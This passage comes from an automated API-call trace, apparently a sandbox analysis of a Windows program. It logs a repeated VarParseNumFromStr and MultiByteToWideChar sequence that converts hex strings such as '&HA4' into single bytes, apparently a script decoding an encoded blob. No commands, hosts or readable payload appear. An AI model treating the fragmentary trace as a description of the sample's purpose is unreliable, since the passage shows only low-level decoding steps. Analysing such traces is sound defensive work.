CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.792] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.792] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.792] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.793] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.793] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.793] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.793] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.793] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.793] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.794] VarParseNumFromStr (in: strIn="&H30", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.794] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0061.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0", lpUsedDefaultChar=0x0) returned 1 [0061.795] VarParseNumFromStr (in: strIn="&H1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.795] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.795] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\x01") returned 1 [0061.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01", lpUsedDefaultChar=0x0) returned 1 [0061.796] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.796] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.796] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.796] VarParseNumFromStr (in: strIn="&HA4", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.796] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.796] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="¤") returned 1 [0061.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¤", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¤", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¤", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="¤", lpUsedDefaultChar=0x0) returned 1 [0061.797] VarParseNumFromStr (in: strIn="&H66", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.797] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.797] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0061.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="f", lpUsedDefaultChar=0x0) returned 1 [0061.798] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.798] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.798] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.798] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.798] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.798] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.799] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.799] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.799] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.800] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.800] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.800] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.801] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.801] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.802] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.802] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.802] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.802] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.803] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.803] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.803] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.804] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.804] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.804] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.804] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.805] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.805] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.805] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.806] VarParseNumFromStr (in: strIn="&H10", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.806] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.806] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\x10") returned 1 [0061.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x10", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x10", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x10", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x10", lpUsedDefaultChar=0x0) returned 1 [0061.806] VarParseNumFromStr (in: strIn="&H93", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.806] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.807] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="“") returned 1 [0061.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="“", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 